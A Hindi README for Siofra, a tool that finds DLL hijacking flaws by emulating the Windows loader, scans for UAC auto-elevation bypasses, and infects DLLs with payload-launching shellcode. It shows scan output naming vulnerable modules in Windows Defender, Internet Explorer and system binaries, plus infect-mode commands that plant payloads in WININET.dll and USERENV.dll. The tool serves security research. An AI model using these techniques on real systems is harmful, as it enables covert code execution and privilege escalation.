
विंडोज पीई लोडर का अनुकरण करके DLL हाईजैकिंग कमजोरियों की पहचान करता है, शेलकोड पेलोड के साथ हथियारबंद DLL उत्पन्न करता है, और UAC ऑटो-एलिवेशन बाईपास का पता लगाता है।
Siofra एक उपकरण है जिसे Windows प्रोग्रामों में DLL हाइजैकिंग (DLL hijacking) कमजोरियों की पहचान करने और उनका शोषण करने के लिए डिज़ाइन किया गया है। यह Windows लोडर का अनुकरण करने में सक्षम है ताकि डिस्क पर मौजूद PE के सभी निर्भरताओं (और संबंधित कमजोरियों) की दृश्यता प्राप्त हो सके, या वैकल्पिक रूप से एक सक्रिय प्रक्रिया के अनुरूप मेमोरी में मौजूद इमेज फ़ाइल की। अधिक महत्वपूर्ण बात यह है कि इस उपकरण में डायनेमिक शेलकोड निर्माण के साथ PE संक्रमण के माध्यम से इस प्रकार की कमजोरियों का शोषण करने के लिए DLL आसानी से उत्पन्न करने की क्षमता है। ये संक्रमित DLL, कोड (DllMain, निर्यातित फ़ंक्शन) के साथ-साथ किसी DLL के संसाधनों को बनाए रखते हैं ताकि उन्हें लोड करने वाले एप्लिकेशन की कार्यक्षमता निर्बाध रूप से संरक्षित रहे, साथ ही शोधकर्ता को एक निष्पादन योग्य पेलोड निर्दिष्ट करने की अनुमति मिलती है जिसे या तो एक अलग प्रक्रिया के रूप में चलाया जा सकता है या लक्ष्य में एक मॉड्यूल के रूप में लोड किया जा सकता है। इसके अतिरिक्त, उपकरण में UAC बाइपास कमजोरियों को स्कैन करने के लिए UAC ऑटो-एलिवेशन मानदंडों को उपरोक्त कार्यक्षमता के साथ संयोजित करने की स्वचालित विधियाँ शामिल हैं।
वर्तमान में, बहुत बड़ी संख्या में कमजोरियाँ हैं जिन्हें यह उपकरण उजागर करता है। इस उपकरण का परीक्षण करते समय मुझे केवल कुछ ही एप्लिकेशन मिले जो कमजोर नहीं थे, उन सैकड़ों में से जिनके विरुद्ध मैंने परीक्षण किया। ध्यान दें कि SafeDllSearchMode के बावजूद इन कमजोरियों का शोषण किया जा सकता है। एक सामान्य ग़लतफ़हमी "वर्तमान निर्देशिका" (जो SafeDllSearchMode के साथ तय होती है) को "एप्लिकेशन निर्देशिका" (वह फ़ोल्डर जिसमें .exe स्वयं होता है) के साथ भ्रमित करने से उत्पन्न होती है। Windows प्रोग्रामों में वर्तमान में मौजूद DLL हाइजैकिंग कमजोरियों का विशाल बहुमत एप्लिकेशन निर्देशिका से उत्पन्न होता है (जो Windows खोज क्रम में पहले आती है)। कुछ मुख्य बातें नीचे उपकरण में स्कैनर द्वारा उत्पादित आउटपुट में सूचीबद्ध हैं। इन कमजोरियों का अंतिम बार परीक्षण जुलाई 2017 के मध्य में किया गया था।
Siofra64.exe --mode file-scan -f "c:\Program Files\Internet Explorer\iexplore.exe" --enum-dependency --dll-hijack
======== c:\Program Files\Internet Explorer\iexplore.exe [64-bit PE] ======== iexplore.exe USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-core-privateprofile-l1-1-1.dll [API set] kernel32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] msvcrt.dll [KnownDLL] api-ms-win-downlevel-shell32-l1-1-0.dll [API set] shcore.dll [KnownDLL] RPCRT4.dll [KnownDLL] combase.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] iertutil.dll [!]
[!] Module iertutil.dll vulnerable at c:\Program Files\Internet Explorer\iertutil.dll (real path: C:\WINDOWS\system32\iertutil.dll)
Siofra64.exe --mode file-scan -f "c:\Program Files\Windows Defender\MpCmdRun.exe" --enum-dependency --dll-hijack
======== c:\Program Files\Windows Defender\MpCmdRun.exe [64-bit PE] ======== MpCmdRun.exe msvcrt.dll [KnownDLL] KERNEL32.dll [KnownDLL] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] OLE32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] SspiCli.dll [!] mpclient.dll [!] CRYPT32.dll [Base] MSASN1.dll [Base] WINTRUST.dll [Base]
[!] Module SspiCli.dll vulnerable at c:\Program Files\Windows Defender\SspiCli.dll (real path: C:\WINDOWS\system32\SspiCli.dll)
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\wbem\wmiprvse.exe" --enum-dependency --dll-hijack
======== c:\WINDOWS\System32\wbem\wmiprvse.exe [64-bit PE] ======== wmiprvse.exe msvcrt.dll [KnownDLL] FastProx.dll [!] wbemcomn.dll [!] bcrypt.dll [!] WS2_32.dll [KnownDLL] api-ms-win-eventing-obsolete-l1-1-0.dll [API set] sechost.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] NCObjAPI.DLL [!]
[!] Module wbemcomn.dll vulnerable at c:\WINDOWS\System32\wbem\wbemcomn.dll (real path: C:\WINDOWS\system32\wbemcomn.dll) [!] Module bcrypt.dll vulnerable at c:\WINDOWS\System32\wbem\bcrypt.dll (real path: C:\WINDOWS\system32\bcrypt.dll) [!] Module NCObjAPI.DLL vulnerable at c:\WINDOWS\System32\wbem\NCObjAPI.DLL (real path: C:\WINDOWS\system32\NCObjAPI.DLL)
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\SearchProtocolHost.exe" --enum-dependency --dll-hijack --explicit-loadlibrary
======== c:\WINDOWS\System32\SearchProtocolHost.exe [64-bit PE] ======== SearchProtocolHost.exe msvcrt.dll [KnownDLL] TQUERY.DLL [!] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] bcryptPrimitives.dll [Base] cryptdll.dll [!] api-ms-win-security-lsalookup-l2-1-1.dll [API set] advapi32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] api-ms-win-shell-namespace-l1-1-0.dll [API set] windows.storage.dll [Base] api-ms-win-shlwapi-winrt-storage-l1-1-1.dll [API set] shlwapi.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-appmodel-state-l1-2-0.dll [API set] kernel.appcore.dll [Base] api-ms-win-shcore-path-l1-1-0.dll [API set] shcore.dll [KnownDLL] api-ms-win-power-base-l1-1-0.dll [API set] powrprof.dll [Base] profapi.dll [Base] msfte.dll [Potential explicit Unicode] [!] msTracer.dll [Potential explicit Unicode] [!] Msidle.dll [Potential explicit Unicode] [!] winhttp.dll [Potential explicit Unicode] [!]
[!] Module msfte.dll vulnerable at C:\WINDOWS\system32\msfte.dll (real path: Unknown) [!] Module msTracer.dll vulnerable at C:\WINDOWS\system32\msTracer.dll (real path: Unknown)
इस उपकरण की क्षमताओं को 3 अलग-अलग श्रेणियों में विभाजित किया जा सकता है, जिनमें से प्रत्येक इस उपकरण के निष्पादन मोड में से एक के अनुरूप है।
संक्रमण मोड में होने पर, उपकरण 32 और 64-बिट दोनों DLL फ़ाइलों की संक्रमित प्रतियाँ उत्पन्न करने में सक्षम होता है। ये संक्रमित फ़ाइलें प्रक्रिया आरंभीकरण के दौरान लोड होने पर किसी लक्षित एप्लिकेशन के निष्पादन प्रवाह को हाइजैक करने में सक्षम होती हैं, जिससे लक्षित एप्लिकेशन के प्रवेश बिंदु के निष्पादन से पहले या तो एक पेलोड DLL लोड हो जाता है या एक पेलोड निष्पादन योग्य लॉन्च हो जाता है।
फ़ाइल स्कैनिंग मोड में होने पर, उपकरण को या तो एक निष्पादन योग्य फ़ाइल पथ या एक फ़ोल्डर दिया जा सकता है (जिसमें निष्पादन योग्य फ़ाइलों की खोज की जाएगी, वैकल्पिक रूप से पुनरावृत्ति के साथ) जिसके PE imports, delay load imports, API sets, असेंबली निर्भरताएँ, और स्पष्ट रूप से लोड की गई लाइब्रेरियों को पुनरावृत्त रूप से गिना और संसाधित किया जाएगा ताकि वह पथ निर्धारित किया जा सके जिस पर रनटाइम प्रक्रिया आरंभीकरण के दौरान प्रत्येक को लोड किया जाएगा। इस जानकारी के साथ, उपकरण उन मॉड्यूलों की पहचान करने में सक्षम है जो हाइजैकिंग के लिए कमजोर हैं। PE प्रसंस्करण और लोडर अनुकरण के दौरान, उपकरण निम्न को संभालने में सक्षम है: 1. प्राथमिक PE imports अनुभाग का उपयोग करके आयातित मॉड्यूल। 2. Delay load के माध्यम से आयातित मॉड्यूल। 3. WinSxS असेंबली निर्भरता समाधान (PE मैनिफेस्ट संसाधन पार्स किया जाता है, असेंबली निर्भरता ID निकाली जाती हैं, और WinSxS मॉड्यूल पथ एक कस्टम कार्यान्वयन का उपयोग करके पहचाना जाता है)। 4. स्पष्ट रूप से लोड किए गए मॉड्यूल, जो रनटाइम पर LoadLibrary के माध्यम से आयातित होते हैं। 5. उपरोक्त सभी आयात प्रकारों का API set समाधान। यह ApiSetSchema.dll में पाए जाने वाले अनिर्दिष्ट डेटा संरचनाओं के लिए एक पार्सर के कस्टम कार्यान्वयन के माध्यम से प्राप्त किया जाता है (ध्यान दें कि केवल संस्करण 2, 4 और 6 का परीक्षण किया गया है)। 6. नाम से विशिष्ट आयातित मॉड्यूल की खोज करना। 7. उन Windows घटकों की पहचान करना जिनका उपयोग UAC बाइपास हमलों के लिए किया जा सकता है (UAC ऑटो-एलिवेशन मानदंड एक निर्दिष्ट लक्ष्य PE पर स्वचालित तरीके से लागू किए जाते हैं, फिर यदि कोई मौजूद हो तो हाइजैकिंग हमले के साथ संयोजन में उपयोग किए जाते हैं)। 8. उन मॉड्यूल निर्भरताओं का स्वचालित रूप से पता लगाना और फ़िल्टर करना जो निम्न के आधार पर कमजोर नहीं हैं: * KnownDLLs * Exempt ("Base") DLL स्थिति। Kernelbase.dll, ntdll.dll, आदि। * Manifest override सुरक्षा तंत्र (Microsoft द्वारा sysprep.exe में उपयोग किया जाता है)
मेमोरी स्कैनिंग मोड में होने पर, उपकरण या तो स्थानीय प्रक्रिया नाम/ID की गणना कर सकता है या उसे स्कैन करने के लिए एक प्रक्रिया ID दी जा सकती है। डिस्क पर दिए गए PID के अनुरूप इमेज फ़ाइल को पार्स करने के बजाय, उपकरण प्रक्रिया में वर्तमान में लोड किए गए मॉड्यूलों की गणना करेगा और पहचान करेगा कि उनमें से कौन हाइजैकिंग के लिए कमजोर हो सकता है। यह उन उदाहरणों में उपयोगी है जहां डिस्क पर एक निष्पादन योग्य पैक/अस्पष्ट (packed/obfuscated) है और PE हेडर को पार्स करके उसके imports की पहचान नहीं की जा सकती है।
उपकरण उपयोग जानकारी प्रदर्शित करने के लिए, इसे बिना किसी पैरामीटर के चलाएँ (आउटपुट नीचे दिखाया गया है)। वांछित लक्ष्य के लिए उपकरण के उपयुक्त संकलन (32 या 64-बिट) का उपयोग करना बहुत महत्वपूर्ण है, यह इस बात पर निर्भर करता है कि यह 32-बिट PE है या 64-बिट PE फ़ाइल। इसी तरह, उपकरण का 32-बिट संस्करण केवल 32-बिट प्रक्रियाओं (x64 OS पर Wow64) की गणना और/या लक्षित कर सकता है और 64-बिट संस्करण केवल 64-बिट प्रक्रियाओं की गणना और/या लक्षित कर सकता है। यह सिद्धांत स्कैनिंग (Siofra64.exe 32-बिट PE को छोड़ देगा और Siofra32.exe 64-बिट PE को छोड़ देगा) और PE संक्रमण दोनों पर लागू होता है। 32-बिट DLL को संक्रमित करने के लिए Siofra32.exe का उपयोग किया जाना चाहिए और 64-बिट DLL को संक्रमित करने के लिए Siofra64.exe का उपयोग किया जाना चाहिए।
जब उपकरण का 32-बिट संस्करण x64 सिस्टम पर चलाया जाता है, तो Wow64 पथ पुनर्निर्देशन उपकरण द्वारा स्पष्ट रूप से अक्षम कर दिया जाता है, जिसका अर्थ है कि यदि आप \Windows\System32\notepad.exe को लक्षित करते हैं तो यह एक 64-बिट PE होगा (और इसलिए \Windows\Syswow64\notepad.exe का उपयोग किया जाना चाहिए)। इसी तरह यदि आप \Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe को लक्षित करते हैं तो यह एक 64-बिट PE होगा, और इसलिए \Program Files (x86)\Common Files\microsoft shared\MSInfo\msinfo32.exe का उपयोग किया जाना चाहिए।
Siofra संस्करण 1.13 उपयोग: Siofra32.exe --mode [समर्थित मोड: "file-scan", "mem-scan" और "infect"] -v [वैकल्पिक। आउटपुट वर्बोसिटी स्तर] वर्बोसिटी स्तर: 0 - कोई आउटपुट नहीं 1 - केवल महत्वपूर्ण सफलता/विफलता स्थिति (डिफ़ॉल्ट) 2 - सफलता/विफलता स्थिति के लिए अतिरिक्त स्थिति विवरण, त्यागे गए PE सहित 3 - सब कुछ फ़ाइल स्कैन मोड: -f [स्कैन करने के लिए फ़ाइल या निर्देशिका] -r [वैकल्पिक। पुनरावृत्त स्कैन] --signed [वैकल्पिक। केवल हस्ताक्षरित बाइनरी संसाधित करें] --delayload [वैकल्पिक। निर्भरता सूची में delayload imports शामिल करें] --explicit-loadlibrary [वैकल्पिक। संभावित स्पष्ट imports को निर्भरता सूची में शामिल करें (ये *.dll स्ट्रिंग्स हैं जिन्हें LoadLibrary(Ex)A/W के माध्यम से कॉल किया गया हो सकता है] --auto-elevate [वैकल्पिक। केवल auto-elevate बाइनरी स्कैन करें] मेमोरी स्कैन मोड: --pid [स्कैन करने के लिए लक्ष्य प्रक्रिया ID। जब निर्दिष्ट नहीं होता है, तो या तो 32 या 64-बिट प्रक्रिया नाम/PID की एक सूची गिनाई जाएगी (इस उपकरण के या तो 32 या 64-बिट संस्करण के अनुरूप)] कोई भी स्कैन मोड: --enum-dependency [निर्भरताएँ गिनें] --show-unmapped-apiset [वैकल्पिक। उन API sets को आउटपुट से शामिल करें जो किसी मॉड्यूल पर मैप करने में विफल रहे (डिफ़ॉल्ट रूप से अनदेखा)] --dll-hijack [DLL हाइजैकिंग कमजोरियों की गणना करें] --find-module [वैकल्पिक। किसी विशिष्ट मॉड्यूल के लिए निर्भरताएँ स्कैन करें। ध्यान दें कि यह KnownDLLs को बाहर करता है] संक्रमण मोड: -f [संक्रमित करने के लिए DLL फ़ाइल] -o [आउटपुट फ़ाइल] --payload-path [संक्रमित DLL में रनटाइम पर लोड किए जाने वाले DLL का पथ, या रनटाइम पर लॉन्च किए जाने वाले निष्पादन योग्य का पथ] --payload-type [पैरासाइट पेलोड पथ में निर्दिष्ट पेलोड का प्रकार। यह "process" (सामान्यतः एक exe का संकेत) या "library" (सामान्यतः एक DLL का संकेत) हो सकता है]
DLL हाइजैकिंग के लिए कमजोर 32-बिट प्रोग्रामों के लिए पूरे होम ड्राइव को स्कैन करना, उनके PE हेडर के माध्यम से मानक या delay load imports का उपयोग करना।
Siofra32.exe --mode file-scan -f "C:/" -r --enum-dependency --dll-hijack --delayload
Windows के x64 संस्करण पर Windows Defender एप्लिकेशन फ़ोल्डर को उन कमजोर मॉड्यूलों के लिए स्कैन करना जो उनके PE हेडर में मानक आयात तालिका के माध्यम से लोड किए गए हैं।
Siofra64.exe --mode file-scan -f "C:\Program Files\Windows Defender" -r --enum-dependency --dll-hijack
Windows के x64 संस्करण पर 32-बिट Java Update Scheduler प्रोग्राम को उन कमजोर मॉड्यूलों के लिए स्कैन करना जो किसी भी ज्ञात चैनल (मानक या delayload imports, WinSxS, LoadLibrary) के माध्यम से लोड किए गए हैं।
Siofra32.exe --mode file-scan -f "C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe" --enum-dependency --dll-hijack --delayload --explicit-loadlibrary
उन 64-बिट प्रोग्रामों में कमजोर मॉड्यूलों (PE हेडर में मानक imports तालिका के माध्यम से आयातित) के लिए Windows फ़ोल्डर (और उसके सभी उपफ़ोल्डर) को स्कैन करना जिनका उपयोग UAC बाइपास हमले के लिए किया जा सकता है (Microsoft द्वारा auto-elevate मैनिफेस्ट के साथ हस्ताक्षरित)।
Siofra64.exe --mode file-scan -f "C:\Windows" -r --enum-dependency --dll-hijack --auto-elevate --signed
WININET.dll की 32-बिट प्रति (\Windows\SysWOW64\WININET.dll से .\WININET_original.dll में कॉपी की गई) को एक इम्प्लांट के साथ संक्रमित करना जो एक कमजोर प्रोग्राम द्वारा प्रक्रिया आरंभीकरण के दौरान लोड होने पर एक नई notepad प्रक्रिया लॉन्च करेगा। यह ध्यान रखना महत्वपूर्ण है कि इस DLL की संक्रमित प्रति को केवल लोड करना (उदाहरण के लिए LoadLibrary के माध्यम से) पेलोड को ट्रिगर नहीं करेगा। संक्रमित DLL केवल अपने होस्ट प्रक्रिया के मानक imports अनुभाग के माध्यम से लोड किए गए कमजोर मॉड्यूल के संदर्भ में काम करने के लिए होते हैं।
Siofra32.exe --mode infect -f WININET_original.dll -o WININET.dll --payload-type process --payload-path c:\windows\system32\notepad.exe
USERENV.dll की 64-बिट प्रति (\Windows\System32\USERENV.dll से .\USERENV_original.dll में कॉपी की गई) को एक इम्प्लांट के साथ संक्रमित करना जो C:\Payload.dll पर संग्रहीत एक काल्पनिक पेलोड DLL लोड करेगा। यह ध्यान रखना महत्वपूर्ण है कि 64-बिट प्रक्रिया द्वारा लोड किए गए सभी DLL 64-बिट DLL होने चाहिए, और 32-बिट प्रक्रिया द्वारा लोड किए गए सभी DLL 32-बिट DLL होने चाहिए। इसलिए इस काल्पनिक परिदृश्य में, USERENV.dll में इम्प्लांट द्वारा सफलतापूर्वक लोड किए जाने के लिए Payload.dll को 64-बिट PE फ़ाइल होना आवश्यक होगा।
Siofra64.exe --mode infect -f USERENV_original.dll -o USERENV.dll --payload-type library --payload-path "C:\Payload.dll"
मैंने इस उपकरण का कुछ हिस्सा ओपन सोर्स करने का निर्णय लिया है ताकि अन्य सुरक्षा शोधकर्ताओं को इस परियोजना के तकनीकी विवरण समझने में मदद मिल सके। विशेष रूप से मैंने 64-बिट इम्प्लांट शेलकोड में से एक के लिए असेंबलर स्रोत कोड प्रदान किया है (64-बिट PE DLL संक्रमण के लिए जब "process" पेलोड प्रकार निर्दिष्ट किया जाता है)।
उपकरण के अन्य तकनीकी पहलुओं और Windows लोडर/खोज क्रम, UAC, WinSxS आदि से संबंधित OS विवरणों के आसपास के विवरण इस परियोजना के PDF के भीतर पाए जा सकते हैं।
Siofra GPL 3 लाइसेंस के अंतर्गत लाइसेंस प्राप्त है। विवरण के लिए LICENSE.MD देखें।
Forrest Williams - [email protected] / [email protected]